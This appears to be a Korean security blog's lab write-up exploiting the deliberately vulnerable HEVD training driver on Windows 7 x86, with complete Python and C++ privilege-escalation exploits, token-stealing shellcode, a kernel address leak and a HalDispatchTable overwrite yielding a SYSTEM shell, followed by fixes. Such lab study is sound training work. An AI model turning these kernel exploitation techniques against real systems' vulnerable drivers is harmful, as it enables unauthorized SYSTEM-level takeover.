블로그로 돌아가기
Research

HEVD: Windows 커널 드라이버 익스플로잇 — 스택 오버플로우 & 임의 쓰기

Windows 7 x86에서 HackSys Extreme Vulnerable Driver(HEVD) 익스플로잇: 토큰 스틸링 쉘코드를 활용한 커널 스택 버퍼 오버플로우, HalDispatchTable 덮어쓰기를 통한 Write-What-Where 권한 상승

··9분 읽기
WindowskernelexploitationHEVDdriverprivilege-escalationtoken-stealingHalDispatchTable

대상: HackSys Extreme Vulnerable Driver (HEVD), Windows 7 x86
환경: WinDbg 커널 디버깅 (bcdedit /debug on, 시리얼 연결)


개요

HEVD(HackSys Extreme Vulnerable Driver)는 IOCTL 핸들러를 통해 다양한 취약점 유형을 노출시키도록 설계된 취약한 Windows 커널 드라이버다. 이 포스트에서는 두 가지 취약점을 다룬다:

  1. 스택 버퍼 오버플로우 (IOCTL 0x222003) — 경계 검사 없이 RtlCopyMemory에 사용자 제어 크기가 전달됨
  2. 임의 쓰기 (Write-What-Where) (IOCTL 0x22200B) — 검증되지 않은 커널 모드 포인터 쓰기를 통한 임의 쓰기

두 취약점 모두 일반 사용자 프로세스에서 SYSTEM 권한 상승으로 이어진다.


드라이버 기초 개념

드라이버 정의 및 종류

드라이버는 응용프로그램과 OS, 하드웨어 장치 사이의 중간 계층 역할을 한다.

응용프로그램(OS 함수 호출) → OS(드라이버 함수 호출) → 장치 I/O

드라이버 개발 킷 종류 (WDK, DDK 등)

유저모드에서 실행되는 소프트웨어 드라이버

WDM 드라이버와 디바이스 스택

WDM(Windows Driver Model) 드라이버 구조

디바이스 스택 — 필터 드라이버, 함수 드라이버, 버스 드라이버 계층

권한 콜백함수

드라이버 권한 콜백함수 구조

환경 설정 및 명령어

HEVD 익스플로잇 환경 설정 및 WinDbg 명령어 참고


IOCTL과 드라이버 통신 기초

HEVD 드라이버에 대한 요청을 하려면 통신을 위한 Handle을 열어야 한다. 드라이버는 HackSysExtremeVulnerableDriver라는 장치를 생성하며, 성공하면 장치에 IOCTL에 대한 IRP 핸들러가 할당된다.

RtlInitUnicodeString(&DeviceName, L"\\Device\\HackSysExtremeVulnerableDriver");
RtlInitUnicodeString(&DosDeviceName, L"\\DosDevices\\HackSysExtremeVulnerableDriver");
 
Status = IoCreateDevice(DriverObject, 0, &DeviceName,
                        FILE_DEVICE_UNKNOWN, FILE_DEVICE_SECURE_OPEN,
                        FALSE, &DeviceObject);

IOCTL은 IRP 요청에 캡슐화된 32비트 숫자다. CTL_CODE 매크로를 사용하여 정의한다:

#define IOCTL(Function) CTL_CODE(FILE_DEVICE_UNKNOWN, Function, METHOD_NEITHER, FILE_ANY_ACCESS)
 
#define HEVD_IOCTL_BUFFER_OVERFLOW_STACK    IOCTL(0x800)
#define HEVD_IOCTL_ARBITRARY_WRITE          IOCTL(0x802)

IOCTL 코드 계산:

FILE_DEVICE_UNKNOWN = 0x00000022
FILE_ANY_ACCESS     = 0x00000000
FUNCTION            = 0x800
METHOD_NEITHER      = 3
 
calc = hex((FILE_DEVICE_UNKNOWN << 16) | (FILE_ANY_ACCESS << 14) | (FUNCTION << 2) | METHOD_NEITHER)
print(calc)  # 0x222003

취약점 1: 스택 버퍼 오버플로우

취약한 코드

__declspec(safebuffers)
NTSTATUS TriggerBufferOverflowStack(
    _In_ PVOID UserBuffer,
    _In_ SIZE_T Size
)
{
    NTSTATUS Status = STATUS_SUCCESS;
    ULONG KernelBuffer[BUFFER_SIZE] = { 0 };  // BUFFER_SIZE = 0x200 (512 bytes)
 
    PAGED_CODE();
    __try {
        ProbeForRead(UserBuffer, sizeof(KernelBuffer), (ULONG)__alignof(UCHAR));
        // UserMode 버퍼가 실제 주소 공간의 사용자 부분에 있고 정렬되었는지 확인
 
#ifndef SECURE
        // 취약점: 사용자 제공 Size를 경계 검사 없이 직접 전달
        RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, Size);
#else
        RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, sizeof(KernelBuffer));
#endif
    }
    __except (EXCEPTION_EXECUTE_HANDLER) {
        Status = GetExceptionCode();
    }
    return Status;
}

ProbeForReadUserBuffer가 사용자 모드 주소 공간에 있는지만 검증하며, Size는 검증하지 않는다. Size > sizeof(KernelBuffer)를 전달하면 커널 스택 오버플로우가 발생한다.

이 드라이버는 버퍼가 512 × ULONG(4) = 2048(0x800) 바이트의 크기를 가진다. TriggerBufferOverflowStack 함수로 버퍼와 길이를 받아와 RtlCopyMemory로 그대로 복사하기 때문에, 이 부분에서 BOF가 발생한다.

버그 트리거 및 오프셋 확인

우선 2048바이트 버퍼로 트리거한다:

import ctypes, sys
from ctypes import *
 
kernel32 = windll.kernel32
dev = kernel32.CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", 0xC0000000, 0, None, 0x3, 0, None)
 
if not dev or dev == -1:
    print "*** Couldn't get Device Driver handle."
    sys.exit(0)
 
buf = "A" * 2048
bufLength = len(buf)
 
kernel32.DeviceIoControl(dev, 0x222003, buf, bufLength, None, 0, byref(c_ulong()), None)

아직 버퍼 크기 내이므로 아무 일도 일어나지 않는다.

2048바이트 페이로드 전송 — 오버플로우 발생 전 정상 동작

버퍼 크기를 0x900으로 키우면 EBP, EIP가 변조되고 블루스크린이 발생한다.

0x900바이트 페이로드 — EBP/EIP 변조 및 커널 패닉(BSOD)

블루스크린 발생 확인

이제 EIP를 덮는 오프셋을 찾아야 한다. pwntools의 cyclic이나 mona의 pattern_create 등을 활용한다.

cyclic 패턴으로 EIP 오프셋 확인 (2080바이트)

Windows 7 x86 구조체 오프셋

구조체필드오프셋
_KPCR.PcrbData.CurrentThreadFS:[0x124]
_KTHREAD.ApcState.Process+0x50
_EPROCESS.UniqueProcessId+0xB4
_EPROCESS.ActiveProcessLinks.Flink+0xB8
_EPROCESS.Token+0xF8

WinDbg로 오프셋 확인:

kd> dt nt!_KPCR
   +0x120 PrcbData         : _KPRCB
 
kd> dt nt!_KPRCB
   +0x004 CurrentThread    : Ptr32 _KTHREAD

따라서 0x120 + 0x004 = 0x124에 CurrentThread 값이 있다.

kd> dt nt!_EPROCESS
   +0x0b4 UniqueProcessId  : Ptr32 Void
   +0x0b8 ActiveProcessLinks : _LIST_ENTRY
   +0x0f8 Token            : _EX_FAST_REF

Token Stealing 쉘코드 원리

시스템에서 실행 중인 모든 프로세스에는 관련 데이터를 캡슐화하는 EPROCESS 구조체가 있다. Windows x86에서는 FS 레지스터가 가리키는 KPCR(Kernel Processor Control Region) 구조를 사용한다.

포인터 흐름: FS:[0x124]_KTHREADApcState.Process_EPROCESS

LIST_ENTRY는 실행 중인 모든 프로세스를 연결하는 이중 연결 리스트이며, Flink는 다음 프로세스의 LIST_ENTRY를 가리킨다. 이를 탐색하여 SYSTEM 프로세스(PID 4)를 찾고, 그 Token을 현재 프로세스의 _EPROCESS에 복사하는 것이 기본 기법이다.

Token_EX_FAST_REF 공용체에 저장되며, RefCnt(참조 카운터)와 Value 두 필드가 있다. 안정성을 위해 RefCnt를 보존하는 마스킹이 필요하다:

? [token] & 0xFFFFFFF8  ; 마지막 3비트(RefCnt) 제거

Token Stealing 쉘코드 (x86)

pushad
xor  eax, eax
mov  eax, fs:[eax + 0x124]   ; KPCR → CurrentThread (_KTHREAD)
mov  eax, [eax + 0x50]       ; _KTHREAD → ApcState.Process (_EPROCESS)
mov  ecx, eax                ; 현재 프로세스의 EPROCESS 저장
mov  edx, 0x4                ; SYSTEM PID
 
search_system_process:
    mov eax, [eax + 0xb8]   ; ActiveProcessLinks.Flink
    sub eax, 0xb8            ; 다음 EPROCESS 시작으로 돌아가기
    cmp [eax + 0xb4], edx   ; UniqueProcessId == 4?
    jnz search_system_process
 
mov edx, [eax + 0xf8]       ; SYSTEM 프로세스 Token
and edx, 0xFFFFFFF8          ; RefCnt 비트 제거
mov edi, [ecx + 0xf8]       ; 현재 프로세스 Token
and edi, 0x7                 ; RefCnt 보존
add edx, edi
mov [ecx + 0xf8], edx       ; 현재 프로세스 Token 덮어쓰기
 
popad
xor eax, eax                 ; STATUS_SUCCESS
pop ebp
ret 8

익스플로잇 코드 (Python 2 / ctypes)

NX(DEP)가 걸려 있기 때문에 VirtualAlloc()으로 실행 가능한(RWX) 메모리 블록을 할당하고 쉘코드를 복사하여 우회한다.

import ctypes, sys, struct
from ctypes import *
from subprocess import *
 
def main():
    kernel32 = windll.kernel32
    hevDevice = kernel32.CreateFileA(
        "\\\\.\\HackSysExtremeVulnerableDriver",
        0xC0000000, 0, None, 0x3, 0, None
    )
    if not hevDevice or hevDevice == -1:
        print "[-] Failed to get device handle"
        sys.exit(0)
 
    shellcode = bytearray(
        "\x60"                              # pushad
        "\x31\xc0"                          # xor eax, eax
        "\x64\x8b\x80\x24\x01\x00\x00"     # mov eax, [fs:eax+0x124]
        "\x8b\x40\x50"                      # mov eax, [eax+0x50]
        "\x89\xc1"                          # mov ecx, eax
        "\xba\x04\x00\x00\x00"             # mov edx, 0x4
        "\x8b\x80\xb8\x00\x00\x00"         # mov eax, [eax+0xb8]
        "\x2d\xb8\x00\x00\x00"             # sub eax, 0xb8
        "\x39\x90\xb4\x00\x00\x00"         # cmp [eax+0xb4], edx
        "\x75\xed"                          # jnz -19
        "\x8b\x90\xf8\x00\x00\x00"         # mov edx, [eax+0xf8]
        "\x89\x91\xf8\x00\x00\x00"         # mov [ecx+0xf8], edx
        "\x61"                              # popad
        "\x31\xc0"                          # xor eax, eax
        "\x5d"                              # pop ebp
        "\xc2\x08\x00"                      # ret 0x8
    )
 
    ptr = kernel32.VirtualAlloc(
        c_int(0), c_int(len(shellcode)),
        c_int(0x3000), c_int(0x40)          # MEM_COMMIT|RESERVE, PAGE_EXECUTE_READWRITE
    )
    buff = (c_char * len(shellcode)).from_buffer(shellcode)
    kernel32.RtlMoveMemory(c_int(ptr), buff, c_int(len(shellcode)))
    shellcode_ptr = struct.pack("<L", ptr)
 
    # 스택 레이아웃: 0x820바이트 패딩 + EBP (4) + EIP (쉘코드 포인터)
    buf = "A" * 0x820 + "\x44\x44\x44\x44" + shellcode_ptr
    kernel32.DeviceIoControl(
        hevDevice, 0x222003,
        buf, len(buf),
        None, 0, byref(c_ulong()), None
    )
    Popen("start cmd", shell=True)
 
if __name__ == "__main__":
    main()

SYSTEM 토큰 누출 확인 — WinDbg에서 EPROCESS Token 필드 확인

토큰 마스킹 (0xFFFFFFF8) — RefCnt 비트 제거

SYSTEM 권한 획득 — cmd.exe가 SYSTEM으로 실행됨


취약점 2: 임의 쓰기 (Write-What-Where)

취약한 코드

NTSTATUS TriggerArbitraryWrite(
    _In_ PWRITE_WHAT_WHERE UserWriteWhatWhere
)
{
    PULONG_PTR What  = NULL;
    PULONG_PTR Where = NULL;
    NTSTATUS Status  = STATUS_SUCCESS;
 
    PAGED_CODE();
    __try {
        ProbeForRead((PVOID)UserWriteWhatWhere,
                     sizeof(WRITE_WHAT_WHERE),
                     (ULONG)__alignof(UCHAR));
 
        What  = UserWriteWhatWhere->What;
        Where = UserWriteWhatWhere->Where;
 
        // 취약점: 'Where'와 'What'이 가리키는 값이 사용자 모드에 있는지
        // 제대로 검증하지 않고 'What'이 가리키는 값을 'Where'가 가리키는
        // 메모리 위치에 쓴다.
        *(Where) = *(What);
    }
    __except (EXCEPTION_EXECUTE_HANDLER) {
        Status = GetExceptionCode();
    }
    return Status;
}

이것은 write-what-where 프리미티브다: 커널 공간에서 소스(What)와 목적지(Where) 포인터를 모두 제어할 수 있다. 즉, 커널 주소 공간의 임의 위치에 임의의 값을 쓸 수 있다.

IDA에서 본 TriggerArbitraryWrite 함수

ArbitraryWrite IOCTL 핸들러 — UserWriteWhatWhere 구조체

What/Where 포인터 역참조 취약점 코드

v1 값이 v2에 쓰이는 취약점 흐름

IOCTL 코드 계산

FILE_DEVICE_UNKNOWN = 0x00000022
FILE_ANY_ACCESS     = 0x00000000
FUNCTION            = 0x802          # arbitrary write function index
METHOD_NEITHER      = 3
 
ioctl = (FILE_DEVICE_UNKNOWN << 16) | (FILE_ANY_ACCESS << 14) | (FUNCTION << 2) | METHOD_NEITHER
print(hex(ioctl))  # 0x22200b

익스플로잇 전략: HalDispatchTable 덮어쓰기

좋은 덮어쓰기 대상은 커널의 DispatchTable 중 하나인 nt!HalDispatchTable이다. 이 테이블은 HAL 루틴의 주소를 보유하는 함수 포인터 배열이다.

nt!HalDispatchTable+0x4hal!HaliQuerySystemInformation에 대한 포인터를 갖는다. 이 함수는 NtQueryIntervalProfile(사용자 모드에서 권한 상승 없이 호출 가능한 미문서화 NT 시스템 콜)이 내부적으로 호출한다.

kd> dps nt!KeServiceDescriptorTable L4
82babb00  82aa1cbc nt!KiServiceTable
82babb04  00000000
82babb08  00000191
82babb0c  82aa2304 nt!KiArgumentTable
 
kd> u nt!KeQueryIntervalProfile+0x23
82d0f599  call dword ptr [nt!HalDispatchTable+0x4 (82b6f34c)]

공격 흐름:

  1. NtQuerySystemInformation(SystemModuleInformation) + 사용자 모드 LoadLibrary 오프셋 계산으로 nt!HalDispatchTable 커널 VA 누출
  2. Write-What-Where 프리미티브를 사용하여 HalDispatchTable+0x4를 쉘코드 주소로 덮어쓰기
  3. NtQueryIntervalProfile 호출로 덮어쓴 함수 포인터 트리거

커널 베이스 누출 및 HalDispatchTable 주소 획득

// NtQuerySystemInformation class 11로 커널 모듈 목록 획득
NTSTATUS callResult = NtQuerySystemInformation(
    (SYSTEM_INFORMATION_CLASS)11, &bufferPtr, 0, &SystemInformationLength);
 
// 적절한 크기로 재쿼리
callResult = NtQuerySystemInformation(
    (SYSTEM_INFORMATION_CLASS)11, moduleInfoBuf,
    moduleInfoBufSize, &SystemInformationLength);
 
LPVOID kernelBase  = moduleInfoBuf->Module[0].Base;
PCHAR  kernelImage = moduleInfoBuf->Module[0].ImagePath + pathLength;
 
// 커널 이미지를 사용자 모드에 로드하여 심볼 오프셋 계산
HMODULE umHandle    = LoadLibraryA(kernelImage);
LPVOID  umHDT       = GetProcAddress(umHandle, "HalDispatchTable");
LPVOID  kmHDT       = (PUCHAR)umHDT - (PUCHAR)umHandle + (PUCHAR)kernelBase;

ASLR 우회를 위해 로드된 모듈의 베이스 주소가 있으므로, 유저랜드에서 로드한 커널 이미지 핸들을 통해 커널의 실제 HalDispatchTable 주소를 계산할 수 있다.

NtQuerySystemInformation으로 커널 모듈 베이스 및 HalDispatchTable 주소 누출

취약점 테스트 (What=AAAA, Where=BBBB)

PULONG lpInBuffer = (PULONG)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 0x8);
RtlFillMemory((PVOID)lpInBuffer,      0x4, 0x41); // What
RtlFillMemory((PVOID)(lpInBuffer + 1), 0x4, 0x42); // Where
 
DeviceIoControl(hDev, HACKSYS_EVD_IOCTL_ARBITRARY_OVERWRITE,
                (LPVOID)lpInBuffer, (DWORD)0x8, NULL, 0, &lpBytesReturned, NULL);

결과: 0x42424242 주소에 쓰기를 시도하여 접근 예외 발생. What과 Where를 모두 제어할 수 있음이 확인된다.

What=AAAA, Where=BBBB 테스트 — 임의 쓰기 취약점 확인

전체 익스플로잇 (C++)

LPVOID whereAddress = (LPVOID)((ULONG)HALDispatchTable + 0x4);
 
// Token Stealing 쉘코드 (위와 동일, ret 대신 ret만)
LPVOID shellcodeAddress = VirtualAlloc(NULL, sizeof(shellcode),
                              MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(shellcodeAddress, shellcode, sizeof(shellcode));
 
LPVOID sourceAddress = &shellcodeAddress;
 
// WRITE_WHAT_WHERE: [What(4)] + [Where(4)]
byte theArray[8];
memcpy(theArray,     &sourceAddress, 4);  // What  = &shellcodeAddress
memcpy(theArray + 4, &whereAddress,  4);  // Where = HalDispatchTable+0x4
 
DeviceIoControl(deviceHandle, 0x22200B, theArray, sizeof(theArray),
                NULL, 0, &bytesReturned, NULL);
 
// 트리거: NtQueryIntervalProfile이 내부적으로 HalDispatchTable[1]을 호출
// 이제 이것이 쉘코드를 가리킨다
NtQueryIntervalProfile(0xB00D, &bytesReturned);
 
// SYSTEM 쉘 실행
CreateProcessA("C:\\Windows\\System32\\cmd.exe", ...);

핵심 정리

취약점근본 원인수정 방법
스택 BOF사용자 제공 Size를 사용한 RtlCopyMemorysizeof(KernelBuffer)를 복사 경계로 사용
임의 쓰기포인터 검증 없는 *(Where) = *(What)ProbeForWrite(Where) — 커널은 사용자 모드에서 제공된 주소에 절대 써서는 안 됨

두 취약점은 동일한 완화 주제를 공유한다: 철저한 검증 없이 사용자 제공 값을 사용하는 커널 모드 포인터 연산을 절대 신뢰하지 말 것.


참고